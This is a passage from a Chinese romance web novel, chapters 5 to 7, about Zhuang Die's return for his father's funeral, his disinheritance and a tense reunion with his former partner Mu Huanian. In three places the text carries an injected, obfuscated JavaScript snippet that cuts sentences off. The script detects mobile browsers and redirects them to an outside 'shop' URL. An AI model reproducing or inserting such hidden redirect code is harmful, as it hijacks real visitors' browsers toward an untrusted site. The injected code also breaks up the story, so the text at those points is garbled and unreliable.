慕华年坐在沙发闷声喝酒,余光里庄迭的头发有些长了,平时打理得很好所以不明显,现在洗完变成顺毛后几乎遮住眼睛,透出几分阴郁。 他不笑不闹时确实显得很凶,或许是五官过于精致,给他带来了很强的锐利感,抬眉凝眸间自带不怒而威的气势。 “慕华年,你怀疑过我对你的爱吗?” 庄迭平静地陈述一件事实,自然得到了对于这件事实的又一佐证,慕华年摇头,没说话。 “哪怕是我离开的时候?” 这次慕华年没有表态,他拿起手里的啤酒喝了一口。 不知为何,庄迭觉得他们像是在玩真心话大冒险,而慕华年一直是输家。 “那你现在还爱我吗?” “人不是凭爱就能在一起的。” 房间再度陷入沉寂。慕华年喝完了最后一口酒,代驾刚好来了电话,他应了声“好”,起身走向门口。 “明天早上需要我来接你吗?我们可以一起去墓园。当然如果你觉得不方便,我也可以不去。” “至于我为什么去,”慕华年又想起庄迭提及的那个名字,蹙眉沉声,“当时是庄逸有意瞒我,他的手段你清楚,在我入职乃至项目结束前他从未露面,我根本不知道他的存在。” 这些庄迭都知道,他眼神慢慢冷下来,有些人做过的事他历历在目。 但此时重点不是庄逸。 这迟到了三年的解释与他预想中相差无几,可由慕华年亲口说出,他心堵得慌。 这句解释明明几秒就能说清,当年的自己为何不肯给他机会? 没等庄迭开口,慕华年继续说:“庄迭,那段时间我急需要一份证明我自己的工作。” 庄迭怔住,蓦然想起某个深夜,慕华年脱掉沾染烟味的外套抱住他,说:“我想证明我有爱你的能力。” 那时候庄迭只以为他太累了,回抱住他,告诉他自己会给他更好的生活,他只想让慕华年开心一点。 原来他们的交流从那时候就是错位的,爱的错位,连分开也是。 今晚本来是庄迭给自己安排的坦白局,却被意外搅乱,而慕华年来之前也没想到自己会解释,他甚至怕庄迭一开口推翻了他苦心经营的稳定,让他产生动摇。 可是这样的夜晚不用来说些什么,他觉得浪费了这两瓶啤酒。 酒后吐真言,这样的机会对慕华年来说不多。 次日庄迭下楼,慕华年的车就停在门口,他拉门坐下,对方递来一个三明治。 “熬夜之后的早餐要吃。” 慕华年在陈述有关庄迭的客观事实。 昨天慕华年离开后,庄迭坐在沙发发呆,脑中反复回响着那些话。 中间勉强睡了一两个小时,再醒来的时候仍是凌晨,他便继续坐着,等慕华年来接他。 “谢谢。” 庄迭举止间多了分刻意的生疏,接过三明治时小心避开对方手指。慕华年抬眼看他,什么也没说。 “慕总。” 墓园离市区不远,车刚停稳,一道熟悉的声音传来。 “小庄总,”慕华年客气颔首,“或者现在该叫庄总了?” 庄逸笑着拍拍他的肩,“老爹刚走,我不急。再说了我上面还有个姐姐,我抢不过她,再沉淀沉淀。” 慕华年笑着没说话,庄逸却凑近一步,贴向他耳边,慕华年下意识后退。 “你说,我最后能不能赢呢?” 慕华年微微压眉,听着这句近乎明示的暗示,他抬手示意庄逸往后让一让,伸手把副驾驶的门拉开。 庄迭刚吃完早餐,他对于这个世界的善意也随之下肚,此时他歪头和庄逸对视,恢复了一贯的疏冷模样。 “好久不见。” “我当是谁,”庄逸咽下了某个带有贬义的称号,“没想到你真会来。可来了,又能怎样?” 他笑声刺耳,目光重回慕华年身上,“他又给你下药了?你还真是不长记性。有些事再一再二行,有些人再一再二,不是你傻就是你贱。” “庄逸。” 庄逸刚才对庄迭不算客气,他什么也没说,可当矛头转向慕华年,庄迭猛地推门下车,摔门声震天。 “当年有多少因果是你从中作梗,无论是我和老庄,还是我和他,我都不说了。可你就这么恨我?我都被扔到荷兰了,还是能碍到你吗?” “能,”庄逸收起笑容,他比庄迭稍微矮一些,五官却更显锐利逼人,他逼近两步,继续说,“我这辈子,就是见不得你好。如果可以,更见不得你活。” “你出生就是个错误。” 这句话像一盆冷水劈头盖脸浇下来,庄迭已经很多年没有听到了。 没等两个人继续,慕华年伸手将庄迭往后一带,不动声色地挡在他身前。 “确定要继续这个话题?” 庄逸目光在两人间流转,最终冷笑一声。 “慕华年,你也就这点出息。” 庄逸走后,两个人谁也没有动。等停车场的人都进了大厅,慕华年看了庄迭一眼,“还进去吗?” 庄迭点头,说:“有烟吗?” “我不抽烟。” 庄迭又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111600|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,慕华年却皱了眉头,“你不是不喜欢烟味吗?” “是不喜欢,可我现在就想尝尝。” 慕华年去便利店买了包软中华递给庄迭。他不懂烟,只记得他爸抽这个。 庄迭抽出一支夹在指间,慕华年要给他点火,他却侧身避开,将烟凑近鼻尖嗅了一会儿,眉间的褶皱越来越深。 半晌,他凝视慕华年,说:“让叔叔以后别抽烟了。烟不是什么好东西。” 庄均存死于肺癌。 病发得突然,一开始他只以为是自己上岁数气管不好,直到有天晚上差点没上来气,医院一查,已经是晚期了。 不过从他确诊到离世整整三年,所有人都有心理准备。今天即使庄迭不来,慕华年还是会替他来看一眼。 庄迭对庄均存的感情很复杂,他很少提起,可慕华年知道。 “如果这次我也不回来,可能这辈子都见不到你们了。” 庄迭把烟装回烟盒。慕华年要接过来收起,他却装到了自己的口袋里。 这场告别仪式注定与温情无关,庄迭的出现更是火上浇油。刚踏入大厅,庄遥的目光便锁定在他身上。 此刻的庄迭像一个踏入别人领地的外来者,所有人都对他虎视眈眈,仿佛多看几眼,他们甚至能把庄均存的死也归因于庄迭。 好像他生来就是所有罪孽的源头。 不过庄遥毕竟三十二岁了,已经不是哭着喊着要把父亲的爱从别人手里抢回来的小姑娘了,她只瞥了庄迭一眼,默许他站在最外围看完全程。 很俗套的送别,庄遥作为长女致辞,然后是庄逸装模作样地回忆他和庄均存的过往,庄迭进门便立在原地,一动不动站在看着台上的人。 一小时后,该哭的哭了,该演的演了,所有人围过去看庄均存最后一眼。 “去看看吧。”慕华年轻轻开口。 庄迭还没动,就看到庄逸朝他走过来。 “庄迭,”庄逸站定,目光扫过他身旁的慕华年,“我不知道你今天是出于什么目的出现在这,但我们允许你站在这已经是极限了,不要有任何妄想。” “比如?” 庄逸冷笑,说:“父亲没有遗嘱,但庄氏的股份他很早之前就转给庄遥和我妈妈了。” 言下之意,你一分钱也拿不到。 庄逸这句“我妈妈”咬字很重,任谁都能听得出怨气,庄迭更是明白其中缘由,他木然地点头,“所以呢?” “你和庄家没有关系,我们也不会承认你。从今往后我们不会再对你有任何资金资助,你也不要试图运用庄家的势力。至于你以前拿到的,我们不要了。” 轻飘飘一句“不要了”,在外人看来像是庄家人的大度。 “庄迭,你的好日子结束了。” 庄迭抿着嘴,嘴角的讽刺毫不掩饰。 好日子,真好。 昨晚除了在想他和慕华年,庄迭还想了很多他与庄均存的过去。 其实他们没什么过去,他更多的是在排演今天。 而直到此时,没有他意料中的混乱,也没有辱骂和责难,这一切都很平和,平和地让庄迭有些不适应。 至于遗产,他已经过了需要仰人鼻息的少年时代。 散场时庄迭依旧没有动,等着所有人从他面前走过,他被这种怜悯又戏谑的眼神看了一辈子。 庄遥离开的时候在他面前站了几分钟,庄迭没有抬头。他很清楚这样的财产分割结果是谁在做推手,庄逸的脑子不足以支撑他完成这么大的工程。 所以从什么时候就开始了?是庄均存查出癌症的那天,还是自己和慕华年回国的那一天,又或者庄遥在毕业进入庄氏集团就在等这一天。 小时候的庄遥说过,是她的,谁也抢不走。 庄迭原本也没想过要抢。 所有人离开,殡仪馆的人要推走庄均存时,庄迭走过去看了一眼。 三年时间,或许是疾病的缘故,此刻庄均存比以往任何时候都慈祥。 “爸。” 二人从墓园出来,庄迭一路无言,慕华年就陪他沉默地坐在车里,窗外树影飞掠,庄迭脑海里的记忆也是。 萧玲走的时候庄迭没回来,因为他不知道自己的妈妈没了。 那时候他在荷兰,那时候他十三岁。 这是他第一次参加国内的葬礼,比他想的简单些,又或者说搞排场的事情一周前已经结束了,今天的庄家姐弟真的是来送庄均存最后一程。 车停在小区的门口,庄迭转头朝着慕华年笑了笑。 “幸好还有这个房子,不然我真的无家可归了。” 他深深看了慕华年一眼,对方嘴角微微抽动,最后还是什么也没说。 那晚慕华年在庄迭楼下坐了一夜,庄迭没开口让他上去,他也没去敲门。 庄迭隔着窗帘盯着慕华年看了很久,他靠着车门,手上拿着一罐啤酒,他今晚没打算走。 庄迭也不知道自己怎么就突然没有勇气了,明明昨天他还是勇敢的,可是手机握在手上,那通电话就是打不出去。 最后他摸到了自己的外套口袋,把慕华年买给他的烟点燃了。 他过去酗酒,纹身,赛车,穿孔,自毁的事情做尽,唯独没抽过烟,他不喜欢烟味。 一口烟吸进肺里,庄迭对着窗户猛烈咳嗽,窗外的风和月一起洒进来,他的肺和他的心凉了一片。 5. 第 5 章 “对了,你让我查的望京有结果了。” 清晨,庄迭望向窗外,慕华年走了,但是车还在。他顺手给路远舟打了个电话,说一周后回荷兰。 “怎么说?”庄迭端着水杯,指尖无意识摩挲着杯壁。 “对方是通过多层离岸架构隐匿了实际控制人,”路远舟停顿片刻,敲击键盘声清晰传来,“更关键的是,我发现他们的资金流存在人为断层。” 庄迭想起那日慕华年电话中的只言片语,问:“空壳公司?” “不像。所有注册和备案手续齐全,但有大额资金在汇入后,通过复杂的跨境结算工具分批次转入数个离岸私人银行账户。” “能追踪到最终受益人吗?” “宋庭翮尝试做过IP溯源,最后一次有效操作地址显示在国内。” 庄迭微微挑眉。为什么要兜这么大一圈,流进再流出就是双重风险。 “怎么突然对这家公司感兴趣了?”路远舟问。 “他们在纠缠TOTT。看准TOTT转型的关键期,用自研的智能驾驶技术作为合作筹码。” “说重点,”路远舟笑了一声,“是因为TOTT有慕华年,对吗?” 庄迭不做否认,“这是明显的合规隐患。如果合作出现问题,首当其冲的就是法务总监。” “我觉得你担心的有点多余,他要是这点能力都没有,孙潇不会看上他,”路远舟调侃道,却又问,“那你想怎么做?” “我们不是也在布局无人驾驶吗?考虑过战略并轨吗?” 路远舟闻言低笑,“做他的挡箭牌?” “是共赢。TOTT在国内市场占有率高,名声响,说不定能带着我们青云直上。我们单枪匹马开拓国内市场难度更大,不是吗?我们只做我们该做的,至于他怎么选,或者他能不能看清望京的真面目,这看他自己的本事。” 很合理的说辞。路远舟想都不用想,就知道庄迭熬了多久才得出这个方案。 “那还有最后一个问题,谁主导?如果由MobileLine主动递出合作意向,你觉得慕华年会怎么想?” 慕华年会清楚的知道自己想帮他,然后拒绝,而且这样某些人还会通过他看到站在MobileLine背后的庄迭。 庄迭在幕后等了三年,现在绝对不算是亮相的好时机。 “宋庭翮在IC还适应吗?”庄迭问。 “每天上课下课有什么不适应的,小孩每天等着你召唤呢。” “那别让他等了,让他干吧。” 路远舟应了一声,稍作停顿又问:“真一分钱都没拿到?” 庄迭知道他在问庄家的遗产。 “嗯,你没看到庄逸当时那副表情。” “不是,按照法律你不是有继承权吗?”路远舟越发困惑。 “准确来说,一分钱没有的人不是我,是庄均存。我拥有的是法律意义上的继承权,但可继承的财产数额为零,这不矛盾。” “够狠。庄遥不愧是学法律的,”路远舟连连咂舌,话锋一转,“那人你见到了吗?” “见了,一起吃了饭,一起去的葬礼。” “和好了?” 庄迭又低头看了一眼楼下的车,“没有,搞砸了。” 慕华年下午下班回来取车,庄迭像只小猫一样缩在车边。他轻咳两声,庄迭抬头看着他笑。 “一月的江城,很冷的。” “是冷,可我怕你跑了。” 慕华年笑了,庄迭晃了神,站起来挡在车门处,问:“那天话没说完,今天继续?” “还想听我再说那些?我说不出口了。” “那我说,你再给我个机会,你就听听行吗?” “庄迭……” 慕华年拒绝的话还没说出口,庄迭因为脚蹲麻了,见慕华年要拉他,迎上去的瞬间膝盖一软,整个人压在慕华年身上。 “投怀送抱?前天用过了。” 慕华年还是跟着庄迭上了楼。 庄迭早上刚请师傅换上了密码锁,还没来得及改,他输入“123456”时,慕华年轻笑,“这样的密码不如不设。” “明天改成你生日。” 他说得理所当然,慕华年却喉间一哽。 庄迭转头看他不进来,歪着脑袋问:“不是说好要聊清楚吗?” “怎么改密码锁了?” “这样你就没办法把钥匙还给我了。” 庄迭的小伎俩总是一如既往地多,且有效。慕华年进门时深深看了眼门锁,目光复杂。 “想聊什么?” “庄逸他们转移财产的事情你知道吗?” “哦,兴师问罪,”这个话题反而让慕华年放松下来,他靠进沙发,支着额角看向居高临下的庄迭,“当时你再慢一个月走我就跳槽了。而且我觉得碍于我们当时的关系,庄逸会避着我应该说得通吧。” “你没告诉我你会离开那家公司。” “你没给过我任何机会。”慕华年面无表情,“从你发现庄逸是我老板,到你回荷兰后彻底失联,你给我过说话的机会吗?” “对不起。” “聊这个就没意思了,还想问什么。” “他们的操作合法吗?” 庄迭以为慕华年会嘲笑他此刻还惦记遗产,但眼前的人神色未变,轻轻摇头,“我托前同事查过庄家的交易记录,非常干净。庄遥是专业做这个的,太懂得如何合规地完成资产隔离。” “为我查的?” 慕华年白了他一眼,庄迭却笑着坐到他身边,“所以我的好日子真的结束咯。” 他虽然在笑,鼻尖却先一步泛红,他的情绪向来藏不住。 这三年他们没有联系,慕华年只能从路远舟的动态里寻找庄迭的影子。 虽然不知道他们具体在做什么,做到什么程度了,可他很明确庄迭早就不用靠着庄均存活了。 慕华年没有拆穿庄迭的故作可怜,挑眉问道:“需要我给你支援一张回荷兰的机票吗?” 庄迭摇头,从冰箱取出路远舟三年前寄来庆贺他们小两口乔迁的藏酒。 清晨发现这瓶酒时,他怔了许久。 “陪我喝点。”庄迭笑着说。 “不喝,连着喝了三天,今天要把车开走。” “你就这么怕见我?” 庄迭自顾自开瓶斟满,他的酒量退步了,一杯下去好像有些上头。 “这酒不是你这么喝的。” “那你教我啊。” 庄迭贴过来的时候,慕华年迎面扑着属于他的热气。他身上有薄荷的味道,慕华年转头看到烟灰缸里有三四枚烟蒂。 “你还是抽烟了,还试图用薄荷压烟味,幼稚。” “抽了,可我没想压,我只是不喜欢那股味道。” “那为什么还抽?” “以后不抽了。” 庄迭乖乖把烟递上来,盒子里只剩下三根,慕华年回想了一下,刚才车边好像还有几根烟头。 “你做事真的很容易上瘾,任何事情。你就非要一次把一件事情做到厌烦吗?” “比如做/爱吗?” 这句话让慕华年语塞。 庄迭笑着朝他呵气,薄荷余味清冽。见对方不回应,他又饮下半杯。 庄迭情绪不好的时候很容易醉,不过醉了之后倒是不闹人,只会自己吐,然后自己哭。 “和你做,不会厌烦。” “庄迭,”慕华年出声打断慢慢过火的对话,“你说你想好好聊我才上来的,不代表我允许你利用我的心软。” “你可以不对我心软,就像庄逸他们一样,你也可以叫我小杂种。” “庄迭。” “他们长大了,”庄迭低头靠上慕华年的肩,很快那片布料被泪水浸湿,“他们今天对我很客气,他们没有这样叫我。我该领他们的好吗?” 慕华年的手悬在空中静止了几秒,最后还是搭在庄迭背上,一下一下顺着他的呼吸,直到怀里的人不再抽泣。 “其实我只是想回来看他一眼,顺便……看看你。”庄迭垂下眼睛,“是不是很可笑,我爸不死,我都没理由再回来,我不敢回来。” “可是我真的舍不得啊,”他声音开始发颤,“慕华年。” 庄迭心里的话从墓园憋到现在,终于在酒精的催发下倾倒而出。 他很少向人展露他的脆弱,因为他的不堪众所周知,这让他的脆弱显得无比可笑。 他只在两个人面前流过眼泪,一个是陪他长大的张宪,一个是他最爱的慕华年。 “慕华年,你说我爸知道庄遥做的这些吗?”庄迭顿了顿,突然笑着直起身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111601|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他怎么会不知道啊,他可是庄均存,是庄家最老的狐狸。” “所以是他默许的,”庄迭继续说,他心情不好的时候就会自说自话,“他也觉得我是个错误吧。不,不用他觉得,我就是个错误。” 庄迭又开始哭,但他本来不应该哭了,这么多年他应该习惯的。他是一个不配拥有家的人,他不该怀着不切实际的幻想。 “慕华年,我想回荷兰了。” “嗯,什么时候走?” “我不想一个人回去。” “庄迭。” 每次慕华年念这个名字的时候总是有自己的味道,他咬字很轻,像是真的把庄迭看成了一只蝴蝶,怕惊到他。 慕华年把庄迭支起来,未开灯的房间里,他看不清庄迭的表情,但是庄迭足够白,眼窝处的红色在黑暗里像是一滩融化的玫瑰甘露。 “我马上要三十岁了。” 庄迭怔神,那一刻他怕得要死。 所幸,慕华年没有继续。 “一周后。”良久,庄迭哑声答道,“我定了一周后的机票。” 一周后,是又一个新年。 “好,既然要走了,那就把这一堆烂摊子收拾完,收拾干净,什么都别留,”慕华年顿了顿,“包括我。” 最后一丝月光坠崖,整个客厅被夜色的潮水入侵,慕华年身上的光没了。 庄迭像是突然得了夜盲症,他伸手只抓了个空。 “然后,别回来了。” “慕华年。” 慕华年转身,庄迭叫住了他。 “你不是烂摊子。” 慕华年怔了怔,随即笑了,“我不是吗?那你怎么像丢垃圾一样把我丢了?” 慕华年走到玄关,门开的瞬间,楼道灯光重新描摹出他的轮廓。庄迭又一次寻找到了他的光源,他问不出更多的话,只能小声嗫嚅:“那这一周……” “有需要你就给我打电话。庄遥的事,我会再打听。” “我不要钱。” 慕华年转身的背影一滞,庄迭看到了他的松懈,踉跄着从沙发那头爬过来,他喝了酒,混上透着不可言说的粉红,他抓住慕华年的手,指尖甚至还在颤抖。 “不走了。” 慕华年有些分不清这句话是谁对谁说的,但是他的呼吸为之一涩。 这句话当时他在机场没有勇气说出口,今天庄迭替他说出来了。 如果自己那天也像今天的庄迭一样挽留,他会不会走? 在慕华年以己度人的片刻,庄迭从背后抱住了他。洋酒容易醉人,尤其在满是情绪的现在,庄迭呼出来的每一口气都带着炙热,洒在慕华年的脖颈上,刺激着他的神经。 “慕华年,你还要不要我?” 庄迭的手不安分地探入慕华年的大衣,心跳声瞒不过任何人,慕华年胸口的起伏像汛期的潮水,沉默着却又汹涌。 他进一步往里探,解开了中间的那颗衬衣扣子,触摸到温热的皮肤。庄迭承认自己心里有几分希冀,试图用一切除了解释之外的方法先留住慕华年。 庄迭动作越来越急促,呼吸水涨船高,慕华年任凭他摆弄,却在庄迭跪下的时候捏住他的下巴。 身下的人刚流过泪,眼睛红得不像话,慕华年低头盯着他,眼神中也被染了几分潮色。 “当初是你要走的,走得那叫一个决绝,我就差跪下来求你了。庄迭,你是要当初的我像你现在一样跪下来求你吗?” “不要。” “那我也不要。” 慕华年的话击碎了庄迭的所有幻想,指尖温度骤失,关门带来的冷风刺激着庄迭的神经。 今晚的慕华年其实不该这么冷漠,可他心软过一次,知道后果。 况且他们之间有没开口的问题,那是上一段故事的未完待续,没完结的故事不允许重新开始。 感情不是游戏,不能随机读档。 不知过了多久,庄迭的酒醒了,他站起来的瞬间又摔回原地。 保持一个动作两个小时会麻木,那等待一个人三年也会,庄迭理解慕华年,便越发难以原谅自己。 起初的离开是意气用事,现在的回来是深思熟虑,庄迭动了动被划伤的小腿,享受着细密的痛苦爬上神经。 他好像的确太自私了。 可是怎么办啊,他就是后悔了。 6. 第 6 章 这一周,慕华年说到做到。 无论是在开会还是在外面应酬,只要庄迭一个电话打过来,他永远会先给他一个回应。 “在忙,等下回给你。” “好,我下午陪你吃饭。” “可以,你安排。” “我晚上过去一趟,还有什么要买的吗?” 庄迭喜欢打电话。他喜欢听到对方下意识发出的任何语气,他觉得这样的对话很生动,对话不应该只是简单的信息交流。 可起初的慕华年十分抗拒打电话。他的所有回答都必须是经过深思熟虑的,他要考虑每一句话说出口之后的后果,即使只是一句无关紧要的问候。 过去的三年,庄迭删掉了慕华年的微信,也没有给他打过一个电话。 此刻这样的对话,让庄迭想到了他死缠烂打刚把慕华年追到手的时候。 现在回想,庄迭觉得自己可能从未真正了解过慕华年。 “我很烦吗?” 电话那端静默片刻,“没有。只是我不知道该说什么。” “你已经不知道要和我说什么了吗?” 庄迭追问的样子很狼狈,他自己也知道,于是苦笑起来,他感觉自己前所未有的矫情。 “明天早上的飞机是吗?”慕华年转开话题。 “嗯。你不用送我,我记得你昨天晚上接电话说要开早会。” “临时加的,之前没有。” “我知道,你之前说要送我。” 慕华年又沉默了,庄迭抱着手机不死心,他不想挂电话。 “还是我送你,明天我不去了。” 庄迭听到慕华年吩咐唐沉调整日程,唐沉支支吾吾说了些什么庄迭没听到,但是慕华年说:“那你帮我开,会议记录发给我。” “没事,我又不是不回来了。”庄迭强装轻松。 听筒里陷入更长的死寂。 “你不希望我回来?就一点都不想见我?” 反正话到嘴边了,庄迭也顾不得慕华年会怎么想,还有十七个小时飞机起飞,下次再来江城要找什么理由? “你说,下次我回来会不会是在你的婚礼上?”庄迭语气故作轻佻,那晚慕华年的话始终压在他心口,“你会邀请我吗?” 一个月后慕华年生日,彼时的他二十八岁,还算年轻,以他现在的身份进入社交场,找一个登对的姑娘不难,反正他之前是喜欢女孩的。 他们应该还有时间可以慢慢培养感情,足够让他们在情正浓时步入婚姻殿堂。 慕华年是穿过结婚礼服的,庄迭见过,很好看。帮他打领结的时候庄迭亲吻了他的喉结,鼻尖触碰到他的脖颈,他用牙留下了一个很浅的印记。 想到这庄迭笑了一声,可是他那句话后屏幕的另一头再也没有出声,只有计时数字一点一点流逝。 “你这次回来想做的都做完了?”挂断前慕华年问。 庄迭犹豫一瞬,“还剩一件。” “是什么?” 庄迭语焉不详,只叮嘱他准时回来吃晚饭。 慕华年没有追问,沉吟片刻道:“也就是说,除了那件事,你对于这块土地,你对于江城,已经没有留恋了对吗?” “你算吗?” “我知道了。” 挂掉电话,庄迭握着手机顺着墙沿慢慢下滑。他回想过去一周发生的点点滴滴,试图在其中寻找能够证明慕华年在动摇的证据,无果。 人不是只凭爱就能在一起的,这句话已经很明确了。 慕华年的感情从来克制,他的喜欢克制,他的厌恶也是。 这和与他恋爱时的慕华年没什么区别,可他们并没有在恋爱。 那天慕华年如约来陪庄迭吃饭,来的时候还带了一颗苹果。 庄迭笑他送苹果是寓意着送别的时候应该果断一点吗,慕华年没回答,沉默着把苹果洗好,两个人一人一半。 晚饭结束,慕华年照例要在十点之前离开,转身时,庄迭从背后紧紧抱住他。 他真的很喜欢将脸埋在慕华年的脊背上,那里很宽,像是足以安放他灵魂的盒子。 慕华年由他抱着,没有任何回应。 “留下来,这是我的最后一个愿望。” 慕华年呼吸变快了,却依旧沉默。庄迭不需要他的回答,默许就是他们之间的默契。 那晚没褪下的大衣,那天解了一半的纽扣,他们弥补了那一晚的遗憾,并且试图弥补更多。 不过慕华年还是拉住了庄迭跪下的动作。 在他膝弯发软的瞬间,慕华年倒坐在沙发上,庄迭的腰被向前一带,顺势趴在慕华年的颈部。 那里的皮肤好烫,像是慕华年第一晚递给他的红茶,可庄迭依旧含了下去。 他需要这一份热量,并想要更多。 这个吻从喉结处开始,慢慢向上,庄迭避开了慕华年的嘴巴,慢慢吻在他的眼睛上。那里在颤动,不知道是津液还是泪水,庄迭尝到了人体组织的咸苦。 他没敢停,只怕自己一停慕华年就消失了,正如他梦里很多次的场景。 于是他重新跨坐回慕华年身上,眼前的人已经变得和他一样粉,原本慕华年是黄白皮的。 褪去,一层一层,从内到外,直到心脏。 那里在跳动,发散着庄迭受不了的滚烫,可是他想抱上去,就如同在荷兰第一次见到慕华年的时候。他冷了太久冷怕了,为这份滚烫在所不惜。 很快屋子里溢出许久不曾见闻的味道,它混合着沐浴露,混合着花果香,混合着茶几上那杯红茶,它的出现像是蓄谋已久,融洽地和这间屋子里的原住民打成一片。 不对,它曾经就在这里常住,夜夜生欢。 一次结束,慕华年揽腰将怀里的人抱起,庄迭将小腿跨在他的腰间,并不抬头,他还有些发抖,不知道是哪里痛。 两个人向前走,在开灯的前一秒,庄迭按住了慕华年的手。 房间里的所有陈设和他离开时没有差别,庄迭这几天两点一线只出没于厨房和卧室。他轻松地引导着慕华年一步一步走到吧台,走到餐桌,走到浴室,最后才回到床上。 庄迭希望溺死在今夜。 在潮湿的汗水和慕华年的怀里,那些难以说出口的解释不复存在,他得到了他最想要得到的。 可偶尔清醒时,他又缓缓摇头,不够,这样一个晚上不够,远远不够。 过去的三年,按照路远舟的话来说,庄迭干净地像是换了一个人。 酒吧不去了,会馆不去了,他在遇到慕华年之前的二十二年生活轨迹推倒重开,塑造了今日的庄迭。 “慕华年,你很好……你做的很好。” 回应他的,只有自己的呻吟,与一道压抑的喘息。 午夜,庄迭几乎要陷进自己的呼吸声,他听到身边窸窣的动静,他很累了,可还是下意识伸手去抓,床边没有人。 “慕华年?”沙哑的声音带着哭腔。 黑夜中的动静停止了,回了他一句“嗯”,慕华年端着水杯走近。 “睡,都帮你收拾好了。” “你去哪儿?” 慕华年系好最后一颗衬衣扣子,掩盖掉庄迭发疯似的啃咬,他没有回答,出去找到自己掉在沙发下面的大衣。 “好好睡一觉,明天我送你去机场。” “所以做完就结束了?” 庄迭不知何时走到了慕华年身后,他端着水杯后退,腰际撞上桌沿,碰到的时候慕华年听到他“嘶”地吸了一口凉气。 睡衣是慕华年替他换的,他知道庄迭的腰窝处被他搞得一团糟。 慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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窗外无月,屋内无言,摇椅吱呀吱呀响,很快慕华年听到了庄迭的呼吸声,轻轻的,像是怕真的吵到自己。 慕华年转身回卧室拿了一条毯子给庄迭盖上,走的时候还是没忍住看了一眼他的脸。 三年时间给庄迭带来了很多,可那些属于成长的部分都没有慕华年的参与。 现在呈现在他面前的庄迭似乎更加优秀,也更加明白如何迎合自己,他变得更适合成为慕华年的伴侣,可为什么要这样呢? 三年前的庄迭就好得让慕华年不敢靠近了,现在的,更是天上月。 在目光下滑的同时,他看到了庄迭小腿上的伤口,不深,但好像有些发炎,周边红红的一圈。 慕华年皱着眉头回忆,家里明明有地暖,但过去一周庄迭穿的是他春秋时候的长袖长裤,他也少问了一嘴。 刚才自己好像抓过庄迭脚踝,那时候他有多痛。 慕华年越想眉间的沟壑就越深,他蹑手蹑脚抽出了茶几下的药箱,用最小号的棉签沾了碘伏,沿着发红的地方一点点涂抹。 “嗯……” 庄迭感受到了疼痛,但他没有分清是哪儿里的疼痛,不安分地侧过身皱起眉。慕华年用手在他腰上轻轻拍着,很快庄迭眉间的阴云散开,他继续趴着睡。 四厘米的一个口子,慕华年硬是擦了一个小时,最后他选了一个有消毒功能的创可贴,贴完又用拇指将边缘摩挲平滑。 05:21。慕华年关掉手机,坐回躺椅上。他不太需要睡眠,但是做完这一切之后也有些困了,庄迭呼吸声让他心跳放缓。 很快,他久违地做了一个梦,是个噩梦,但是他并没有感觉到恐惧,因为梦里的一切没有成真。 庄迭正睡在他的不远处,一切都好。 这是庄迭三年来第一次进入慕华年的梦 7. 第 7 章 第二天一早,慕华年的车停在小区楼下。 庄迭拖着行李下来的时候,慕华年下车帮他把东西放进后备箱。他拉开副驾驶的门,看到前面的台子上放着一个鸡蛋灌饼,甚至还冒着热气。 “给你买的。”慕华年坐回驾驶座,系好安全带。 庄迭捧着纸袋,眉眼含笑,“延安路那家?”他侧头看向慕华年,眼神明亮,“第一次吃还是陪你去考试,考什么来着?” “普通话。” “哦对,我还说呢,都是中国人考什么普通话。” 慕华年唇角微扬,却没接话。庄迭安静地小口吃着早餐。 在他二十多年的人生里,只有和慕华年在一起时,他才会认真吃每一顿早餐。再之前他和张宪住,张宪会做,但是庄迭总说没胃口,一杯水就打发了上午。 张宪活得粗,养孩子也不会有多细,他对庄迭有些溺爱。 吃着熟悉的早餐,庄迭再次偷瞄身旁的人。 从前的慕华年厌恶在车里吃任何有味道的食物。 庄迭记得自己第一次在车上吃东西时,慕华年皱着眉问:“你是饿死鬼吗?”他笑着做鬼脸回应。 后来慕华年就不说了,庄迭吃的时候他就把自己那边的窗户开一条缝,有时候庄迭递过来的早餐他也会吃上一口。 今晨的风从那条窗缝钻进来,慕华年的侧脸在晨光中看不出情绪。 庄迭吃完最后一口,慕华年目视前方,却准确地从车门夹层抽出一张湿巾递过来。 指尖相触的瞬间,两种温度交融,慕华年的目光微微垂落。 “加个微信吧。” 庄迭擦着手,声音带着心虚,然后他听到身边的人笑了。 “你加,还是原来的号。” “你没换?”庄迭有些诧异。 慕华年缓缓踩下刹车,深吸一口气说:“又不是我做贼心虚,我为什么要换?” 慕华年倒也不是完全没变,庄迭抿着嘴,他不止床上的攻击力强了,这张嘴更是无敌。 不过他不在乎,能加回来就行。庄迭拿出手机熟练地输入那串由“庄迭”九键生成的号码。 提示音响起时,慕华年从口袋取出手机递过来,说:“你自己同意。” 今早的惊喜未免有些太多了。庄迭勾着嘴角接过手机,不再问手机密码,只按照记忆里的输入,手机果然开了。他再点进微信,只有置顶着的一个群聊——“家”。 庄迭甚至还在这个群里。 “联系人我会定期清除,所有聊天记录有用的我都做了云备份,没用的说完就删,”慕华年顿了顿,“我就这一个微信号。” 解释得清清楚楚,不留丝毫猜疑余地。 